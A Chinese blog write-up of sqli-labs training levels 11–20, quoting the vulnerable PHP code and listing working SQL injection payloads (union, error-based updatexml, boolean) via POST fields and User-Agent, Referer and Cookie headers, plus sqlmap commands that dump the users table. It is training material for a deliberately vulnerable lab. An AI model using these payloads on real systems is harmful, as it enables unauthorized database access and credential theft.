sqli-labs靶场练习Less-11~20(持续更新)--ch4nge

Less11-20

作者:ch4nge

测试闭合方法



sqli-labs(11)-Less11·post·U

手注

这道题给出来了一个登录框
11.1

源码:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

闭合:'

这里使用bp进行测试username=admin'
发现报错信息内容
11.2
注释一下试试username=admin'#

这时的sql查询语句

@$sql="SELECT username, password FROM users WHERE username='admin'#' and password='$passwd' LIMIT 0,1";

处理之后就是

SELECT username, password FROM users WHERE username='admin'
所以可以查到admin的用户名密码

11.3
后面就和前面union联合查询步骤一样了
Order by爆列数,3报错,2不报错,所以2
Union select 1,2查看显示位,(uname值为不存在的值)
11.4

在2位置查看数据库名

uname=1' union select 1,database()--+

11.5

后面和之前一样,最后查看users表中的字段值,这里在1位置显示uesrname,2位置显示password

uname=admim' union select group_concat(username),group_concat(password) from users--+

11.6

sqlmap
sqlmap -u "192.168.1.218/sqli-labs-master/Less-11/?id=1" --data "uname=1&passwd=1&submit=Submit" --technique U --dbms mysql -D security -T users -C id,username,password --dump

–data用来指定post内容"uname=1&passwd=1&submit=Submit"

11.7
也可以burp抓包保存到txt,然后sqlmap -r xxx.txt
sqlmap -r less11.txt --dbms mysql --current-db
11.8

sqli-labs(12)-Less12·post·U

源码:

	$uname='"'.$uname.'"';
	$passwd='"'.$passwd.'"'; 
	@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

闭合:")

解法同Less11

sqli-labs(13)-Less13·post·E

手注

源码:

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

闭合:')

显错型注入,暴一下数据库名

uname=1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

13.1
查用户名密码

uname=1') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username='admin'),0x7e),1)--+

13.2

sqlmap
sqlmap -u "192.168.1.218/sqli-labs-master/Less-13/" --data "uname=1&passwd=1&submit=Submit" --technique E --dbms mysql --current-db

13.3

sqli-labs(14)-Less 14·post·E

代码

	$uname='"'.$uname.'"';
	$passwd='"'.$passwd.'"'; 
	@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

闭合:"

uname=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

14.1

后面同Less13

sqli-labs(15)-Less15·post·B

代码

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

闭合:'
布尔型注入

uname=1' or length(database())>=1--+

15.1

sqli-labs(16)-Less16·post·B

代码

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

闭合:")

同Less15

uname=1") or length(database())>=8--+

16.1

sqli-labs(17)-Less 17·post·E

基于错误的更新查询POST注入

题目环境修改密码的功能页面
17.1
经过测试uname不能注入,注入点在passwd
代码

	$uname=check_input($_POST['uname']); 
	$passwd=$_POST['passwd'];

	$row1 = $row['username'];  	
	//echo 'Your Login name:'. $row1;
	$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
	mysql_query($update);



function check_input($value)
{
	if(!empty($value))
	{
		// truncation (see comments)
		$value = substr($value,0,15);
	}

	// Stripslashes if magic quotes enabled
	if (get_magic_quotes_gpc())
	{
		$value = stripslashes($value);
	}

	// Quote if not a number
	if (!ctype_digit($value))
	{
		$value = "'" . mysql_real_escape_string($value) . "'";
	}
	
	else
	{
		$value = intval($value);
	}
	return $value;
}

ps:check_input函数暂时不知道怎么绕,只好搞没过虑的passwd参数了

后面操作就没什么说的了

sqli-labs(18)-Less 18·UA·E

UA注入

解法1

先使用账户登录
18.1
页面回显内容有ip和UA

试试UA注入(登录框没有注入点)

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

在insert语句中有uagent,在这里不能使用注释符进行注释(注释掉语句不完整,语法错误),而是要和sql语句起到拼接的作用

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

尝试注入判断语句发现没有回显数据库信息User-Agent: 1' or '1'='1

18.2
尝试使用报错注入可以回显
使用报错型注入

User-Agent: 123'  and updatexml(1,concat(0x7e,(select database()),0x7e),1)  or'

18.3

解法2

绕过姿势:User-Agent: 1',1,1)#

User-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1))

18.4

这么写的原因可以从源码来看

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

将值放进去

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,updatexml(1,concat(0x3a,database(),0x3a),1))#', '$IP', $uname)";

相当于这样

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,updatexml(1,concat(0x3a,database(),0x3a),1))

insert插入的值与字段名要一一对应。

sqlmap
python sqlmap.py -r 1.txt --dbs --threads 10 --technique E
python sqlmap.py -u "http://192.168.1.218/sqli-labs-master/Less-18/" --level 4 --dbs --threads 10 --technique E

第一个请求保存到txt文件里面-r跟上txt文件的路径,让sqlmap自动跑,注意user-agent后面要跟上”*“符号

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0*
-r: sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)
--user-agent http头会携带一个值,就是user-agent,表示访问的浏览器的信息
lever>=3才会去检查user-agent头是否存在注入漏洞

sqli-labs(19)-Less19·referer·E

Referer注入

代码:

	$uagent = $_SERVER['HTTP_REFERER'];
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

登录框有过滤,referer没有过滤
闭合:‘ or () or ‘

Referer: http://192.168.1.218/sqli-labs-master/Less-19/' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

19.1
或者

Referer: http://192.168.1.218/sqli-labs-master/Less-19/' or updatexml(1,concat(0x7e,(select database()),0x7e),1))#

sqli-labs(20)-Less 20·cookie·E

闭合:'

登录账号显示
20.1
Cookie值为用户名,存在注入点
刷新一下抓包
Cookie位置注入

Cookie: uname=dhakkan' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#

20.2

代码分析:

	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);

登录框有过滤

再往下看发现cookee没有过滤,搞他!
20.3

sqlmap

在cookie后面加*号,保存到文件
20.4
右键选择copy to file
20.5

sqlmap -r less20.txt --level 3 --dbms mysql -technique E --current-db

20.6

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值